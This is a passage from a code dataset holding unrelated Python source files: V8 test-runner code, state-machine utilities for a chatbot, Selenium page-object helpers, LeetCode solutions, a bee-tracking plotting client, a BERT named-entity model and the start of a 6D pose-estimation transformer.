self).__init__('VariantProc')\n self._requirement = base.DROP_RESULT\n self._next_variant = {}\n self._variant_gens = {}\n self._variants = variants\n\n def test_suffix(self, test):\n return test.variant\n\n def _next_test(self, test):\n gen = self._variants_gen(test)\n self._next_variant[test.procid] = gen\n return self._try_send_new_subtest(test, gen)\n\n def _result_for(self, test, subtest, result):\n # The generator might have been removed after cycling through all subtests\n # below. If some of the subtests are heavy, they get buffered and return\n # their results later.\n gen = self._next_variant.get(test.procid)\n if not gen or not self._try_send_new_subtest(test, gen):\n self._send_result(test, None)\n\n def _try_send_new_subtest(self, test, variants_gen):\n for variant, flags, suffix in variants_gen:\n subtest = test.create_subtest(\n self, '%s-%s' % (variant, suffix), variant=variant, flags=flags)\n if self._send_test(subtest):\n return True\n\n del self._next_variant[test.procid]\n return False\n\n def _variants_gen(self, test):\n \"\"\"Generator producing (variant, flags, procid suffix) tuples.\"\"\"\n return self._get_variants_gen(test).gen(test)\n\n def _get_variants_gen(self, test):\n key = test.suite.name\n variants_gen = self._variant_gens.get(key)\n if not variants_gen:\n variants_gen = test.suite.get_variants_gen(self._variants)\n self._variant_gens[key] = variants_gen\n return variants_gen\n","repo_name":"nodejs/node","sub_path":"deps/v8/tools/testrunner/testproc/variant.py","file_name":"variant.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":99492,"dataset":"github-code","pt":"61"} +{"seq_id":"9426977409","text":"from contextlib import AbstractContextManager\nfrom types import TracebackType\nfrom typing import (Callable, Collection, Dict, List, Literal, Optional,\n Protocol, Sequence, Type, Union, cast)\n\nfrom transitions import EventData, Machine\nfrom transitions.extensions import GraphMachine, HierarchicalGraphMachine\nfrom transitions.extensions.nesting import NestedState\nfrom transitions.extensions.states import Tags, add_state_features\n\n_sep = NestedState.separator = '__'\n\n# customize the graphic styling\nfor attrs in [\"hierarchical_machine_attributes\", \"machine_attributes\"]:\n config = getattr(GraphMachine, attrs)\n config.update(\n rankdir=\"LR\", # arranging left-to-right\n nodesep=\"0.32\", # default: 0.25\n pad=\"0.222,0.111\", # default: 0.0555\n )\n\n# make the \"white\" objects in the generated graph semi-transparent\nstyle_attrs = cast(Dict[str, Dict[str, Dict[str, str]]],\n GraphMachine.style_attributes)\nfor states in style_attrs.values():\n for attrs in states.values():\n for k, v in attrs.items():\n if k == \"fillcolor\" and v == \"white\":\n attrs[k] = \"#ffffff3f\"\n\n# Types\n\nState_t = Union[str, \"Config_t\"]\nTransCond_t = Union[str, Callable[..., Union[bool, None]]]\nTransFunc_t = Union[TransCond_t, List[TransCond_t], Literal[\"*\", \"=\", None]]\nTransDictSpec_t = Dict[str, TransFunc_t]\nTransListSpec_t = List[Union[TransFunc_t, List[TransFunc_t]]]\nTrans_t = TransSpec_t = Union[TransDictSpec_t, TransListSpec_t]\nTransList_t = Union[\n List[TransDictSpec_t],\n List[TransListSpec_t],\n List[Trans_t]\n]\nConfig_t = Dict[str, Union[List[\"State_t\"], TransList_t, List[str], str]]\n\nVisit_t = Callable[[Optional[str], Optional[Config_t], int], None]\n\n\n# Context manager\n\nclass MachineCtxMngable(Protocol):\n _initial: Optional[str] = None\n\n\ndef MachineCtxMnger(\n machine: Machine,\n model: Optional[MachineCtxMngable] = None,\n) -> Type[AbstractContextManager]:\n \"\"\" Return a class whose instances, when used with `with` statement,\n automatically attach to and detach from the given `Machine` `machine`\n as a model\n and become available as the `as` object.\n The returned class to be used as a mixin.\n If `model` is given, attach and detach `model` instead of the instance.\n \"\"\"\n class Res(AbstractContextManager, MachineCtxMngable):\n if model is not None:\n def __get_model(self: \"Res\") -> MachineCtxMngable:\n assert model is not None\n return model\n else:\n def __get_model(self: \"Res\") -> MachineCtxMngable:\n return self\n\n def __enter__(self) -> MachineCtxMngable:\n machine.add_model(self.__get_model(), self.__get_model()._initial)\n return self.__get_model()\n\n def __exit__(\n self,\n __exc_type: Optional[Type[BaseException]],\n __exc_value: Optional[BaseException],\n __traceback: Optional[TracebackType]\n ) -> Optional[bool]:\n machine.remove_model(self.__get_model())\n return super().__exit__(__exc_type, __exc_value, __traceback)\n return Res\n\n\ndef machine_ctx_mnger(\n machine: Machine,\n model: MachineCtxMngable,\n) -> AbstractContextManager:\n \"\"\" Return an instance which, when used with `with` statement,\n automatically attach to and detach from the given `Machine` `machine`\n as a model.\n \"\"\"\n return MachineCtxMnger(machine, model)()\n\n\ndef is_dummy_parent(state: State_t) -> bool:\n \"\"\" Return whether `state` is a dummy parent state\n (i.e., an state with children but without an initial state).\n \"\"\"\n return not isinstance(state, str) and bool(state.get(\"initial\"))\n\n\ndef get_name(state: State_t) -> Optional[str]:\n \"\"\" Return the state name of `state` if found. \"\"\"\n if isinstance(state, str):\n return state\n res = state.get(\"name\")\n assert isinstance(res, (str, type(None)))\n return res\n\n\ndef get_children(state: State_t) -> List[State_t]:\n \"\"\" Return all non-nested states in `state`. \"\"\"\n if isinstance(state, str):\n return []\n res = state.get(\"children\", state.get(\"states\", []))\n assert (isinstance(res, list)\n and all(not isinstance(v, list) for v in res))\n return cast(List[State_t], res)\n\n\ndef get_child(state: State_t, name: str) -> Optional[State_t]:\n \"\"\" Return a non-nested state named `name` in `config` if found. \"\"\"\n # return the first match\n for res in (s for s in get_children(state) if get_name(s) == name):\n return res\n\n\ndef get_transitions(config: Config_t) -> List[Trans_t]:\n \"\"\" Return the non-nested transitions in `config`. \"\"\"\n res = config.setdefault(\"transitions\", [])\n assert isinstance(res, list)\n return cast(List[Trans_t], res)\n\n\ndef visit_states(state: State_t, f: Visit_t, depth: int = 0) -> None:\n \"\"\" Visit all (nested) states in `state` and invoke `f` on them:\n f(state name, state object if it has any children).\n `depth` is the distance from the root state.\n \"\"\"\n name = get_name(state)\n assert name is not None or depth == 0\n sub = get_children(state)\n # visit self\n if len(sub) == 0:\n f(name, None, depth)\n return\n state = cast(Config_t, state) # A state definition with children\n f(name, state, depth)\n # visit children\n for s in sub:\n visit_states(s, f, depth + 1)\n\n\ndef ignore_transitions(config: Config_t, ign: Sequence[str], dest: Literal[\"=\", None]) -> None:\n \"\"\" Add transitions to `config` for ignoring triggers in `ign_list`.\n `dest` should be either `\"=\"` (reflexive) or `None` (internal).\n \"\"\"\n def f(name: Optional[str], state: Optional[Config_t], depth: int) -> None:\n if state is None:\n return\n get_transitions(state).extend([\n token,\n [k for k, v in ((get_name(v), v) for v in get_children(state))\n if k is not None and not is_dummy_parent(v)],\n dest,\n ] for token in ign)\n visit_states(config, f)\n\n\ndef get_state_names(state: State_t, dummy: bool = False, base: str = None) -> List[str]:\n \"\"\" Return the name of all (nested) states in `state`.\n Skip dummy parent states unless `dummy` is `True`.\n Prepend state names with `base` (with seperator `_sep`) if given.\n \"\"\"\n states: List[str] = []\n path: List[str] = []\n plen: List[int] = [0]\n base = f\"{base}{_sep}\" if base is not None else \"\"\n\n def f(name: Optional[str], state: Optional[Config_t], depth: int) -> None:\n if depth > 0:\n assert name is not None\n if depth > plen[0]:\n path.append(name)\n plen[0] += 1\n else:\n path[depth - 1] = name\n if state is None or dummy or not is_dummy_parent(state):\n states.append(f\"{base}{_sep.join(path[:depth])}\")\n\n visit_states(state, f)\n return states\n\n\ndef add_resetters(\n config: Config_t,\n names: Sequence[str],\n dest: str,\n excl: Collection[str] = (),\n **kwargs,\n) -> None:\n \"\"\" Add transitions to `config` for resetting.\n States in `excl` will be excluded from the transitions.\n `**kwargs` will be passed into the transition definitions.\n \"\"\"\n states = get_state_names(config)\n get_transitions(config).extend(\n {\"trigger\": name,\n \"source\": [v for v in states if v not in excl],\n \"dest\": dest,\n **kwargs,\n } for name in names)\n\n\ndef resolve_initial(state: State_t, base: str = None, depth: int = 0) -> str:\n \"\"\" Return the name of the non-dummy-parent initial state of `state`.\n Prepend state names with `base` (with seperator `_sep`) if given.\n `depth` is the distance from the root state.\n All explicitly specified initial state names must be valid.\n \"\"\"\n # build the full path to self\n if base is None:\n prefix = base = \"\"\n else:\n prefix = f\"{base}{_sep}\"\n name = f\"{prefix}{get_name(state)}\" if depth > 0 else base\n\n # check self\n if not is_dummy_parent(state): # A non-dummy state\n return name\n state = cast(Config_t, state)\n init = state[\"initial\"]\n assert isinstance(init, str)\n\n # check children\n base = name\n # Assume that a matching (nested) state will be found\n st = get_child(state, init)\n if st is not None: # Found a pseudo-nested state\n return resolve_initial(st, base, depth + 1)\n\n # visit descendants\n st = state\n path = init.split(_sep)\n base = _sep.join(v for v in (base, _sep.join(path[:-1])) if v != \"\")\n for p in path:\n st = get_child(st, p)\n assert st is not None\n return resolve_initial(st, base, depth + len(path))\n","repo_name":"IepIweidieng/duzhi-bot-2021","sub_path":"duzhibot/fsm_utils.py","file_name":"fsm_utils.py","file_ext":"py","file_size_in_byte":8800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27870074706","text":"\"\"\"\nbase_page\n 页面对象有一些共同的基本操作,可以封装起来,并可以在基本操作当中,加上日志和截图的处理\n 1.查找元素,都需要等待\n 2.alert弹出框,窗口的切换\n 3.鼠标操作\n 4.上传文件\n\"\"\"\nimport os\nimport logging\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver import ActionChains\nfrom config.config import IMAGE_PATH\nfrom datetime import datetime\nfrom pywinauto import Desktop\nimport time\n\n\nclass BasePage:\n\n def __init__(self, driver: Chrome): # 函数注解\n self.driver = driver\n\n def find(self, locator):\n \"\"\"查找元素\"\"\"\n try:\n e = self.driver.find_element(*locator)\n except Exception as err:\n # 没有找到元素\n logging.error(f\"元素定位失败:{err}\")\n # 截图\n self.save_screenshot()\n else:\n return e\n\n def save_screenshot(self):\n \"\"\"截图\"\"\"\n # 路径拼接\n # 时间戳命名,防止覆盖\n ts_str = datetime.now().strftime(\"%y-%m_%d-%H-%M-%S\")\n file_name = os.path.join(IMAGE_PATH, ts_str) + '.png'\n self.driver.save_screenshot(file_name)\n return self\n\n def find_and_red(self, locator):\n \"\"\"定位元素并标红,装饰器实现\"\"\"\n try:\n e = self.driver.find_element(*locator)\n js_code = \"arguments[0].style.borderColor='red';\"\n self.driver.execute_script(js_code, e)\n except Exception as err:\n logging.error(f\"元素定位失败:{err}\")\n self.save_screenshot()\n else:\n return e\n\n def wait_element_clickable(self, locator, timeout=20, poll_frequency=0.2):\n \"\"\"等待元素可以被点击\"\"\"\n wait = WebDriverWait(self.driver, timeout, poll_frequency)\n try:\n e = wait.until(expected_conditions.element_to_be_clickable(locator))\n except Exception as err:\n logging.error(f\"元素定位失败:{err}\")\n self.save_screenshot()\n else:\n return e\n\n def wait_element_visible(self, locator, timeout=20, poll_frequency=0.2):\n \"\"\"等待元素可见\"\"\"\n wait = WebDriverWait(self.driver, timeout, poll_frequency)\n try:\n e = wait.until(expected_conditions.visibility_of_element_located(locator))\n except Exception as err:\n logging.error(f\"元素定位失败:{err}\")\n self.save_screenshot()\n else:\n return e\n\n def wait_element_present(self, locator, timeout=20, poll_frequency=0.2):\n \"\"\"等待元素被加载\"\"\"\n wait = WebDriverWait(self.driver, timeout, poll_frequency)\n try:\n e = wait.until(expected_conditions.presence_of_element_located(locator))\n except Exception as err:\n logging.error(f\"元素定位失败:{err}\")\n self.save_screenshot()\n else:\n return e\n\n def click_element(self, locator):\n \"\"\"点击某个元素\"\"\"\n e = self.wait_element_clickable(locator)\n e.click()\n return self\n\n def double_click(self, locator):\n \"\"\"双击某个元素\"\"\"\n e = self.wait_element_clickable(locator)\n ac = ActionChains(self.driver)\n ac.double_click(e).perform()\n return self\n\n def move_to(self, locator):\n \"\"\"鼠标悬停\"\"\"\n e = self.find(locator)\n ac = ActionChains(self.driver)\n ac.move_to_element(e).perform()\n return self\n\n def switch_to_frame(self, e, wait=False):\n \"\"\"iframe切换,内嵌网页\"\"\"\n if not wait:\n self.driver.switch_to.frame(e)\n return self\n wait = WebDriverWait(self.driver, 30)\n wait.until(expected_conditions.frame_to_be_available_and_switch_to_it(e))\n return self\n\n def add_file(self, file_path):\n \"\"\"添加文件\"\"\"\n app = Desktop()\n dialog = app['打开']\n time.sleep(2)\n dialog[\"Edit\"].type_keys(file_path)\n dialog[\"Button\"].click()\n\n def clear_input_box(self, locator):\n input_box = self.find(locator)\n try:\n input_box.clear()\n except Exception as err:\n logging.error(f\"输入框清空失败:{err}\")\n finally:\n return input_box\n\n\nif __name__ == '__main__':\n pass\n # ts_str = datetime.now().strftime(\"%y-%m_%d-%H-%M-%S\")\n # file_name = os.path.join(IMAGE_PATH, ts_str) + '.png'\n # print(file_name)\n","repo_name":"donghe123178/web_automation_testing","sub_path":"common/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"32225138981","text":"from typing import List\nfrom collections import defaultdict\n#brutal force with tle\nclass Solution:\n def countBadPairs(self, nums: List[int]) -> int:\n n = len(nums)\n ans = 0\n for i in range(n):\n for j in range(i+1, n):\n if j -i != nums[j] - nums[i]:\n ans += 1\n return ans\n\nfrom typing import List\nfrom collections import defaultdict\nclass Solution:\n def countBadPairs(self, nums: List[int]) -> int:\n n = len(nums)\n count = 0\n cmap = defaultdict(int)\n for i in range(n):\n count += cmap[nums[i] - i]\n cmap[nums[i] - i] += 1\n return (n-1) * n // 2 - count\n ","repo_name":"chrisbyd/leetcode_chris","sub_path":"top150/2364.py","file_name":"2364.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4496949852","text":"import json\nimport io\n\nserver_adress = '127.0.0.1:8000'\n\ndef get_image_origin(cam_id, year=2016):\n \"\"\"Returns the origin of the recorded images.\n (0, 0) is top-left corner and (1, 1) bottom-right.\n Origins taken from https://git.imp.fu-berlin.de/bioroboticslab/organization/wikis/Experiment%20pictures\"\"\"\n if year == 2016:\n return [(0, 1), (1, 0), (0, 1), (1, 0)][cam_id]\n raise ValueError(\"Unknown year.\")\n\ndef get_plot_coordinates(x, y):\n \"\"\"Transform x, y coordinates to plot in the images' coordinate system.\"\"\"\n return y, x\n\ndef transform_axis_coordinates(cam_id=None, year=2016, ax=None, origin=None):\n \"\"\"Transforms an axis (or the current axis) for plotting in the images' coordinate system.\"\"\"\n if ax is None:\n import matplotlib.pyplot as plt\n ax = plt.gca()\n origin = origin or get_image_origin(cam_id, year)\n if origin[0] == 1:\n ax.invert_xaxis()\n if origin[1] == 0:\n ax.invert_yaxis()\n\nclass _ObjectRequester(object):\n def execute_request(self, command, method='POST', data=None):\n import requests\n\n url = ('http://' + server_adress + '/plotter/{}/').format(command)\n\n if method == 'GET':\n r = requests.get(url, stream=True)\n elif method == 'POST':\n r = requests.post(url, data=data, stream=True)\n else:\n raise Exception('\"{}\" method not implemented'.format(method))\n \n if r.status_code != 200:\n raise Exception(\"HTTP Code: {}\".format(r.status_code))\n\n buf = io.BytesIO()\n for chunk in r.iter_content(chunk_size=1024):\n if chunk: # filter out keep-alive new chunks\n buf.write(chunk)\n buf.seek(0)\n\n return buf\n\nclass FramePlotter(_ObjectRequester):\n\n # The following attributes are global image attributes.\n _frame_id = None # bb_binary frame id.\n _title = None # Text to plot in the upper left corner.\n _scale = None # Resizing of the image prior to plotting.\n _crop_coordinates = None # Allows displaying only a small part of the image.\n _crop_mode = None # Default \"shift\": keep cropping region valid, \"crop\": crop out smaller image at border.\n _path_alpha = None # The base transparency of the paths.\n _raw = None # Requests a near-lossless image without plotting.\n _no_rotate = None # The image won't be rotated to hive coordinates (use with raw=True).\n _decode_all_frames = None # Whether to decode and cache the complete video. \n _decode_n_frames = None # Whether to decode and cache the subsequent n frames.\n\n # The following attributes are vectors.\n _xs, _ys = None, None # Positions of markers.\n _angles = None # For arrows: rotation of markers.\n _sizes = None # For circles: radius of circle.\n _colors = None # matplotlib colors.\n _labels = None # Text to print at each marker.\n\n # Internal attributes.\n _paths = None # Generated by VideoPlotter.track_labels.\n\n def __init__(self, **args):\n \"\"\"\n Arguments:\n frame_id: Database/bb_binary frame id of the image.\n title: Text that will be displayed in the image (or \"auto\" for automatic title).\n scale: Factor to resize the returned image (default = 0.5).\n crop_coordinates: Image pixel coordinates of the region to crop.\n crop_mode: \"shift\": Cropping regions that are out of the image bounds will be shifted (default),\n \"crop\": Crops at the image border will yield smaller subimages.\n path_alpha: Opacity of the traced tracks (default = 0.25).\n raw: Whether to return the raw image data as a numpy array without compressing it to JPEG.\n no_rotate: Only with raw=True. Whether to return the image in the original (camera) orientation.\n decode_all_frames: Whether to proactively decode and cache all frames of the video.\n decode_n_frames: Whether to decode and cache the next n frames of the video.\n xs: List of x coordinates (in image pixels).\n ys: List of y coodinates (in image pixels).\n angles: List of orientations of arrows to be drawn. Same order as xs/ys.\n sizes: List of sizes (radius in pixels) of small circles for every point in xs/ys.\n colors: List of matplotlib colors for the markers of the points xs/ys.\n labels: Text to draw above the markers in xs/ys.\n \"\"\"\n for property in (\"xs\", \"ys\",\n \"angles\", \"sizes\", \"colors\", \"labels\",\n \"frame_id\", \"title\", \"scale\", \"crop_coordinates\", \"crop_mode\",\n \"path_alpha\", \"raw\", \"no_rotate\", \"decode_all_frames\", \"decode_n_frames\"):\n if property not in args:\n continue\n setattr(self, \"_\" + property, args[property])\n \n if self._no_rotate and not self._raw:\n raise ValueError(\"no_rotate=True requires raw=True.\")\n if self._crop_mode:\n if self._crop_mode not in (\"shift\", \"crop\"):\n raise ValueError(\"crop_mode must be one of 'shift', 'crop'.\")\n if self._frame_id is not None:\n self._frame_id = int(self._frame_id)\n \n @classmethod\n def from_dict(cls, data):\n return cls(**data)\n @classmethod\n def from_json(cls, data_json):\n data = json.loads(data_json)\n return cls.from_dict(data)\n def to_json(self):\n return json.dumps(dict(self))\n\n # Retrieve all properties as (name, value) pairs.\n # Used to convert to dictionary.\n def __iter__(self):\n def all_attributes():\n yield \"frame_id\", self._frame_id\n yield \"xs\", self._xs\n yield \"ys\", self._ys\n yield \"angles\", self._angles\n yield \"sizes\", self._sizes\n yield \"colors\", self._colors\n yield \"labels\", self._labels\n yield \"title\", self._title\n yield \"scale\", self._scale\n yield \"crop_coordinates\", self._crop_coordinates\n yield \"crop_mode\", self._crop_mode\n yield \"path_alpha\", self._path_alpha\n yield \"raw\", self._raw\n yield \"no_rotate\", self._no_rotate\n yield \"decode_all_frames\", self._decode_all_frames\n yield \"decode_n_frames\", self._decode_n_frames\n\n for (name, value) in all_attributes():\n if value is not None:\n yield (name, value)\n\n def get_image(self):\n \"\"\"\n Requests the image from the backend server.\n \n Returns:\n numpy array containing the image\n \"\"\"\n data = dict(frame_options=self.to_json())\n buf = self.execute_request(\"plot_frame\", data=data)\n if not self._raw:\n import matplotlib.pyplot as plt\n return plt.imread(buf, format=\"JPG\")\n else:\n import numpy as np\n return np.load(buf, allow_pickle=False)\n\nclass VideoPlotter(_ObjectRequester):\n\n # List of FramePlotter containing all required options.\n _frames = None\n # Auto-crop margin around the supplied coordinates.\n _crop_margin = None\n # Whether to automatically fill in missing frames.\n _fill_gaps = True\n # Margin around the specified frames.\n # This allows to e.g. get a video /around/ a supplied frame.\n _n_frames_before_after = None\n # Whether to draw tracks defined by the labels.\n _track_labels = None\n # Prefix that is added to all frame titles.\n # Can be 'auto' for an automated title containing frame index, date, time and camera ID.\n _title = None\n # The framerate of the video. Realtime is 3 and higher is faster.\n _framerate = None\n\n # The following attributes can overwrite frame options.\n _crop_coordinates = None\n _scale = None\n _path_alpha = None\n\n def __init__(self, **args):\n \"\"\"\n Arguments:\n frames: List of FramePlotter objects to concatenate into a video.\n crop_margin: Auto-crop margin in pixels around the positions from the frames.\n fill_gaps: Whether to automatically fetch and insert missing frame ids.\n n_frames_before_after: Whether to automatically fetch the previous and next n frames of the first and last given frame.\n track_labels: Whether to automatically connect the same labels in the FramePlotters with lines.\n title: Text to prepend to all frames' titles (can be \"auto\" for index, date, time, camera).\n framerate: The framerate of the resulting video (default 3).\n crop_coordinates: Passed to the individual FramePlotters.\n scale: Passed to the individual FramePlotters.\n path_alpha: Passed to the individual FramePlotters.\n \"\"\"\n for property in (\"frames\", \"crop_margin\",\n \"fill_gaps\", \"track_labels\", \"crop_coordinates\", \"scale\", \"title\",\n \"framerate\", \"path_alpha\", \"n_frames_before_after\"):\n if property not in args:\n continue\n setattr(self, \"_\" + property, args[property])\n\n @classmethod\n def from_dict(cls, data):\n return cls(**data)\n @classmethod\n def from_json(cls, data_json):\n return cls.from_dict(json.loads(data_json))\n def to_json(self):\n dictionary = dict(self)\n dictionary[\"frames\"] = [dict(f) for f in dictionary[\"frames\"]]\n return json.dumps(dictionary)\n\n # Retrieve all properties as (name, value) pairs.\n def __iter__(self):\n def all_attributes():\n yield \"frames\", self._frames\n yield \"crop_margin\", self._crop_margin\n yield \"fill_gaps\", self._fill_gaps\n yield \"n_frames_before_after\", self._n_frames_before_after\n yield \"track_labels\", self._track_labels\n yield \"crop_coordinates\", self._crop_coordinates\n yield \"scale\", self._scale\n yield \"title\", self._title\n yield \"framerate\", self._framerate\n yield \"path_alpha\", self._path_alpha\n\n for (name, value) in all_attributes():\n if value is not None:\n yield (name, value)\n\n def get_video(self, display_in_notebook=True, save_to_path='video_plot.mp4', display_scale=0.15):\n \"\"\"\n Requests the video from the backend server.\n\n Args:\n display_in_notebook: whether to show the video in a notebook - must be saved to disk in order to do that\n save_to_path: path to save to video to; required if displaying in notebook\n display_scale: scaling of the notebook display\n\n Returns:\n io.BytesIO object containing the video data.\n This object might be closed if the video was saved to disk.\n \"\"\"\n data = dict(video_options=self.to_json())\n buf = self.execute_request(\"plot_video\", data=data)\n \n if save_to_path is not None:\n import shutil\n with open(save_to_path, \"wb\") as file:\n shutil.copyfileobj(buf, file)\n \n if display_in_notebook:\n import random\n from IPython.display import HTML, display\n VIDEO_HTML = \"\"\"\n \n \"\"\"\n display(HTML(VIDEO_HTML.format(\n src=\"{}?{}\".format(save_to_path, random.randint(0, 99999)),\n width=int(4000 * display_scale),\n height=int(3000 * display_scale)\n )))\n\n return buf\n","repo_name":"BioroboticsLab/beesbook_backend","sub_path":"plotter/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":11859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1177718627","text":"import torch\nfrom torch import nn\nfrom transformers import AutoModel\nfrom transformers.modeling_outputs import BaseModelOutputWithPastAndCrossAttentions\n\n\nclass NERClassifier(nn.Module):\n def __init__(self, backbone, hidden_sizes=768, num_labels=2, dropout_rate=0.1):\n super(NERClassifier, self).__init__()\n self.backbone = backbone\n self.dropout = nn.Dropout(p=dropout_rate)\n self.logit = nn.Linear(hidden_sizes, num_labels)\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, inputs, attention_mask):\n features = self.backbone(inputs, attention_mask=attention_mask)\n features = (\n features[-1]\n if isinstance(features, BaseModelOutputWithPastAndCrossAttentions)\n else features\n )\n features = self.dropout(features)\n logits = self.logit(features)\n probs = self.softmax(logits)\n return logits, probs\n\n\ndef load_model(model, path):\n try:\n checkpoint = torch.load(path)\n model.load_state_dict(checkpoint[\"model\"], strict=True)\n except Exception as e:\n model = load_model_unstrict(model, path)\n\n return model\n\n\ndef load_model_unstrict(model, path):\n current_model_dict = model.state_dict()\n loaded_state_dict = torch.load(path)\n\n new_state_dict = {\n k: v if v.size() == current_model_dict[k].size() else current_model_dict[k]\n for k, v in zip(current_model_dict.keys(), loaded_state_dict.values())\n }\n\n mis_matched_layers = [\n k\n for k, v in zip(current_model_dict.keys(), loaded_state_dict.values())\n if v.size() != current_model_dict[k].size()\n ]\n\n if mis_matched_layers:\n raise ValueError # give appropriate value error\n\n model.load_state_dict(new_state_dict, strict=True)\n\n return model\n\n\ndef build_model(cfg):\n encoder = AutoModel.from_pretrained(cfg.encoder_model)\n model = NERClassifier(encoder, cfg.ffn_size, cfg.n_class)\n return model # load_model(model, cfg.pretrained_model_path)\n","repo_name":"Jahid006/Transformer-For-Token-Classification-for-Bengali-NER","sub_path":"modeling/bert_ner.py","file_name":"bert_ner.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27777565673","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\n\nfrom util import box_ops\nfrom util.misc import (NestedTensor, nested_tensor_from_tensor_list)\nfrom .backbone import build_backbone\nfrom .matcher import build_matcher\nfrom .deformable_transformer import build_deforamble_transformer\nfrom .position_encoding import BoundingBoxEmbeddingSine\nimport copy\n\n\ndef _get_clones(module, N):\n return nn.ModuleList([copy.deepcopy(module) for i in range(N)])\n\n\nclass PoET(nn.Module):\n \"\"\"\n Pose Estimation Transformer module that performs 6D, multi-object relative pose estimation.\n \"\"\"\n def __init__(self, backbone, transformer, num_queries, num_feature_levels, n_classes, bbox_mode='gt',\n ref_points_mode='bbox', query_embedding_mode='bbox', rotation_mode='6d', class_mode='agnostic',\n aux_loss=True, backbone_type=\"yolo\"):\n \"\"\"\n Initalizing the model.\n Parameters:\n backbone: torch module of the backbone to be used. Includes backbone and positional encoding.\n transformer: torch module of the transformer architecture\n num_queries: number of queries that the transformer receives. Is equal to the number of expected objects\n in the image\n num_feature_levels: number of feature levels that serve as input to the transformer.\n n_classes: number of classes present in the dataset.\n bbox_mode: mode that determines which and how bounding box information is fed into the transformer.\n ref_points_mode: mode that defines how the transformer determines the reference points.\n query_embedding_mode: mode that defines how the query embeddings are determined.\n rotation_mode: determines the rotation representation\n class_mode: determines whether PoET is trained class specific or agnostic\n aux_loss: True if auxiliary decoding losses (loss at each decoder layer) are to be used.\n backbone_type: object detector backbone type\n \"\"\"\n super().__init__()\n self.transformer = transformer\n hidden_dim = transformer.d_model\n self.hidden_dim = hidden_dim\n self.backbone = backbone\n self.backbone_type = backbone_type\n self.aux_loss = aux_loss\n self.n_queries = num_queries\n self.n_classes = n_classes + 1 # +1 for dummy/background class\n self.bbox_mode = bbox_mode\n self.ref_points_mode = ref_points_mode\n self.query_embedding_mode = query_embedding_mode\n self.rotation_mode = rotation_mode\n self.class_mode = class_mode\n\n # Determine Translation and Rotation head output dimension\n self.t_dim = 3\n if self.rotation_mode == '6d':\n self.rot_dim = 6\n elif self.rotation_mode in ['quat', 'silho_quat']:\n self.rot_dim = 4\n else:\n raise NotImplementedError('Rotational representation is not supported.')\n\n # Translation & Rotation Estimation Head\n if self.class_mode == 'agnostic':\n self.translation_head = MLP(hidden_dim, hidden_dim, self.t_dim, 3)\n self.rotation_head = MLP(hidden_dim, hidden_dim, self.rot_dim, 3)\n elif self.class_mode == 'specific':\n self.translation_head = MLP(hidden_dim, hidden_dim, self.t_dim * self.n_classes, 3)\n self.rotation_head = MLP(hidden_dim, hidden_dim, self.rot_dim * self.n_classes, 3)\n else:\n raise NotImplementedError('Class mode is not supported.')\n\n self.num_feature_levels = num_feature_levels\n if num_feature_levels > 1:\n # Use multi-scale features as input to the transformer\n num_backbone_outs = len(backbone.strides)\n input_proj_list = []\n # If multi-scale then every intermediate backbone feature map is returned\n for n in range(num_backbone_outs):\n in_channels = backbone.num_channels[n]\n input_proj_list.append(nn.Sequential(\n nn.Conv2d(in_channels, hidden_dim, kernel_size=1),\n nn.GroupNorm(32, hidden_dim),\n ))\n # If more feature levels are required than backbone feature maps are available then the last feature map is\n # passed through an additional 3x3 Conv layer to create a new feature map.\n # This new feature map is then used as the baseline for the next feature map to calculate\n # For details refer to the Deformable DETR paper's appendix.\n for n in range(num_feature_levels - num_backbone_outs):\n input_proj_list.append(nn.Sequential(\n nn.Conv2d(in_channels, hidden_dim, kernel_size=3, stride=2, padding=1),\n nn.GroupNorm(32, hidden_dim),\n ))\n in_channels = hidden_dim\n self.input_proj = nn.ModuleList(input_proj_list)\n else:\n # We only want to use the backbones last feature embedding map.\n self.input_proj = nn.ModuleList([\n nn.Sequential(\n nn.Conv2d(backbone.num_channels[0], hidden_dim, kernel_size=1),\n nn.GroupNorm(32, hidden_dim),\n )\n ])\n\n # Initialize the projection layers\n for proj in self.input_proj:\n nn.init.xavier_uniform_(proj[0].weight, gain=1)\n nn.init.constant_(proj[0].bias, 0)\n\n # Pose is predicted for each intermediate decoder layer for training with auxiliary losses\n # Only the prediction from the final layer will be used for the final pose estimation\n num_pred = transformer.decoder.num_layers\n self.translation_head = nn.ModuleList([copy.deepcopy(self.translation_head) for _ in range(num_pred)])\n self.rotation_head = nn.ModuleList([copy.deepcopy(self.rotation_head) for _ in range(num_pred)])\n\n # Positional Embedding for bounding boxes to generate query embeddings\n if self.query_embedding_mode == 'bbox':\n self.bbox_embedding = BoundingBoxEmbeddingSine(num_pos_feats=hidden_dim / 8)\n elif self.query_embedding_mode == 'learned':\n self.query_embed = nn.Embedding(num_queries, hidden_dim * 2)\n # TODO: Optimize Code to not generate bounding box query embeddings, when query embed is in learning mode.\n self.bbox_embedding = BoundingBoxEmbeddingSine(num_pos_feats=hidden_dim / 8)\n else:\n raise NotImplementedError('This query embedding mode is not implemented.')\n\n def forward(self, samples: NestedTensor, targets=None):\n \"\"\"\n Function expects a NestedTensor, which consists of:\n - samples.tensor: batched images, of shape [batch_size x 3 x H x W]\n - samples.mask: a binary mask of shape [batch_size X H x W], containing 1 on padded pixels\n\n Functions expects a list of length batch_size, where each element is a dict with the following entries:\n - boxes: tensor of size [n_obj, 4], contains the bounding box (x_c, y_c, w, h) of each object in each image\n normalized to image size\n - labels: tensor of size [n_obj, ], contains the label of each object in the image\n - image_id: tensor of size [1], contains the image id to which this annotation belongs to\n - relative_position; tensor of 